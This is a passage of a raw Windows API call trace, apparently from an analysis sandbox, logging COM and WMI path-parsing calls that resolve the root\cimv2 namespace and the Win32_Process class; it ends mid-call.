[0134.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455b70, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x1b455b70) returned 0x0 [0134.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455b70, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0134.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455b70, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0134.643] WbemDefPath:IUnknown:AddRef (This=0x1b455b70) returned 0x3 [0134.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455b70, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0134.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455b70, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0134.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455b70, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33a5e0) returned 0x0 [0134.643] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33a5e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.643] WbemDefPath:IUnknown:Release (This=0x33a5e0) returned 0x3 [0134.643] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0134.643] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0134.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455b70, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0134.643] WbemDefPath:IUnknown:Release (This=0x1b455b70) returned 0x2 [0134.643] WbemDefPath:IUnknown:Release (This=0x1b455b70) returned 0x1 [0134.643] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0134.644] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0134.644] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455b70, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x1b455b70) returned 0x0 [0134.644] WbemDefPath:IUnknown:AddRef (This=0x1b455b70) returned 0x3 [0134.644] WbemDefPath:IUnknown:Release (This=0x1b455b70) returned 0x2 [0134.644] WbemDefPath:IWbemPath:SetText (This=0x1b455b70, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0134.644] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4554b0, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0134.644] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b455b70, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0134.644] WbemDefPath:IWbemPath:GetText (in: This=0x1b455b70, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0134.644] WbemDefPath:IWbemPath:GetText (in: This=0x1b455b70, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0134.644] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4554b0) returned 0x0 [0134.644] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b455b70, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0134.644] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b455b70, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0134.644] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b455b70, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="ROOT") returned 0x0 [0134.644] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4554b0, uIndex=0x0, pszName="ROOT") returned 0x0 [0134.644] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b455b70, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0134.644] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b455b70, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="CIMV2") returned 0x0 [0134.644] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4554b0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0134.644] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4554b0, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0134.645] WbemDefPath:IWbemPath:SetClassName (This=0x1b4554b0, Name="Win32_Process") returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4554b0, uRequestedInfo=0x0, puResponse=0x1b10daf0 | out: puResponse=0x1b10daf0*=0x20c16) returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4554b0, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetText (in: This=0x1b4554b0, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x22, pszText=0x0) returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetText (in: This=0x1b4554b0, lFlags=4, puBuffLength=0x1b10da40*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4554b0, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0x20c16) returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4554b0, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetText (in: This=0x1b4554b0, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x14, pszText=0x0) returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetText (in: This=0x1b4554b0, lFlags=8, puBuffLength=0x1b10da40*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b10da40*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4550f0, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=16, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xb, pszText=0x0) returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=16, puBuffLength=0x1b10da40*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10da40*=0xb, pszText="root\\cimv2") returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetText (in: This=0x1b4554b0, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0134.645] WbemDefPath:IWbemPath:GetText (in: This=0x1b4554b0, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0134.645] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d998 | out: ppv=0x1b10d998*=0x3111d8) returned 0x0 [0134.645] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d988 | out: pAptType=0x1b10d988*=1) returned 0x0 [0134.645] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d990 | out: ppvObject=0x1b10d990*=0x0) returned 0x80004002 [0134.645] IUnknown:Release (This=0x3111d8) returned 0x1 [0134.646] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd88 | out: ppv=0x1b10cd88*=0x33ab20) returned 0x0 [0134.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x33ab20, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce70 | out: ppvObject=0x1b10ce70*=0x0) returned 0x80004002 [0134.646] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33ab20, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce48 | out: ppvObject=0x1b10ce48*=0x1b455ab0) returned 0x0 [0134.646] WbemDefPath:IUnknown:Release (This=0x33ab20) returned 0x0 [0134.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455ab0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cbf0 | out: ppvObject=0x1b10cbf0*=0x1b455ab0) returned 0x0 [0134.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455ab0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc80 | out: ppvObject=0x1b10cc80*=0x0) returned 0x80004002 [0134.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455ab0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c478 | out: ppvObject=0x1b10c478*=0x0) returned 0x80004002 [0134.647] WbemDefPath:IUnknown:AddRef (This=0x1b455ab0) returned 0x3 [0134.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455ab0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c338 | out: ppvObject=0x1b10c338*=0x0) returned 0x80004002 [0134.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455ab0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2c0 | out: ppvObject=0x1b10c2c0*=0x0) returned 0x80004002 [0134.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455ab0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2b0 | out: ppvObject=0x1b10c2b0*=0x33abe0) returned 0x0 [0134.647] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33abe0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2d8 | out: pCid=0x1b10c2d8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.647] WbemDefPath:IUnknown:Release (This=0x33abe0) returned 0x3 [0134.647] CoGetContextToken (in: pToken=0x1b10c360 | out: pToken=0x1b10c360) returned 0x0 [0134.647] CoGetContextToken (in: pToken=0x1b10c7e0 | out: pToken=0x1b10c7e0) returned 0x0 [0134.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455ab0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8a0 | out: ppvObject=0x1b10c8a0*=0x0) returned 0x80004002 [0134.647] WbemDefPath:IUnknown:Release (This=0x1b455ab0) returned 0x2 [0134.647] WbemDefPath:IUnknown:Release (This=0x1b455ab0) returned 0x1 [0134.647] CoGetContextToken (in: pToken=0x1b10d5d0 | out: pToken=0x1b10d5d0) returned 0x0 [0134.647] CoGetContextToken (in: pToken=0x1b10d4d0 | out: pToken=0x1b10d4d0) returned 0x0 [0134.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455ab0, riid=0x1b10d630*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d600 | out: ppvObject=0x1b10d600*=0x1b455ab0) returned 0x0 [0134.648] WbemDefPath:IUnknown:AddRef (This=0x1b455ab0) returned 0x3 [0134.648] WbemDefPath:IUnknown:Release (This=0x1b455ab0) returned 0x2 [0134.648] WbemDefPath:IWbemPath:SetText (This=0x1b455ab0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0134.648] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4550f0, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0134.648] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xf, pszText=0x0) returned 0x0 [0134.648] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=8, puBuffLength=0x1b10da40*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da40*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.648] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0134.648] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0134.648] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0134.648] IUnknown:Release (This=0x3111d8) returned 0x1 [0134.649] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b462a80) returned 0x0 [0134.649] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b462a80, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0134.649] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b462a80, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x1b455c30) returned 0x0 [0134.649] WbemDefPath:IUnknown:Release (This=0x1b462a80) returned 0x0 [0134.649] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455c30, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x1b455c30) returned 0x0 [0134.649] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455c30, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0134.649] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455c30, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0134.649] WbemDefPath:IUnknown:AddRef (This=0x1b455c30) returned 0x3 [0134.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455c30, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0134.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455c30, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0134.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455c30, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b462760) returned 0x0 [0134.650] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b462760, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.650] WbemDefPath:IUnknown:Release (This=0x1b462760) returned 0x3 [0134.650] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0134.652] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0134.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455c30, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0134.653] WbemDefPath:IUnknown:Release (This=0x1b455c30) returned 0x2 [0134.653] WbemDefPath:IUnknown:Release (This=0x1b455c30) returned 0x1 [0134.653] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0134.653] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0134.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455c30, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x1b455c30) returned 0x0 [0134.653] WbemDefPath:IUnknown:AddRef (This=0x1b455c30) returned 0x3 [0134.653] WbemDefPath:IUnknown:Release (This=0x1b455c30) returned 0x2 [0134.653] WbemDefPath:IWbemPath:SetText (This=0x1b455c30, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b455ab0, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b455c30, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetText (in: This=0x1b455c30, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetText (in: This=0x1b455c30, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="root\\cimv2") returned 0x0 [0134.653] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b455ab0) returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b455c30, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b455c30, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b455c30, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="root") returned 0x0 [0134.653] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b455ab0, uIndex=0x0, pszName="root") returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b455c30, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b455c30, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="cimv2") returned 0x0 [0134.653] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b455ab0, uIndex=0x1, pszName="cimv2") returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetServer (in: This=0x1b455c30, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetServer (in: This=0x1b455c30, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetServer (in: This=0x1b455ab0, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0134.653] WbemDefPath:IWbemPath:GetServer (in: This=0x1b455ab0, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b455ab0, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0xc15) returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4550f0, puCount=0x1b10d9b8 | out: puCount=0x1b10d9b8*=0x2) returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=4, puBuffLength=0x1b10d9b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9b0*=0xf, pszText=0x0) returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetText (in: This=0x1b4550f0, lFlags=4, puBuffLength=0x1b10d9b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: 